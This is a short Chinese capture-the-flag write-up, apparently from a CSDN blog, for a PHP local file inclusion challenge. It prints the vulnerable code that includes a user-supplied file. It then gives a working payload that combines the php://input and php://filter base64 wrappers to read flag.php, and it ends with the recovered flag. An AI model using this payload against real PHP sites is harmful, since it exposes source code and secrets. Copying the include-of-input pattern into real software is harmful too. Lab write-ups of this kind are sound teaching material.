目录
题目场景
分析代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf") //要求返回值为hello ctf
{
include($file1);
}
}
else
die("NONONO");
}
解决思路
文件包含漏洞位于file1与file2两个变量中。其中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过;而file1被放入include函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
base64解码
找到flag
cyberpeace{7eaf71673582b983c07fabf14e1852b0}
来源地址:https://blog.csdn.net/lyshark_lyshark/article/details/126799169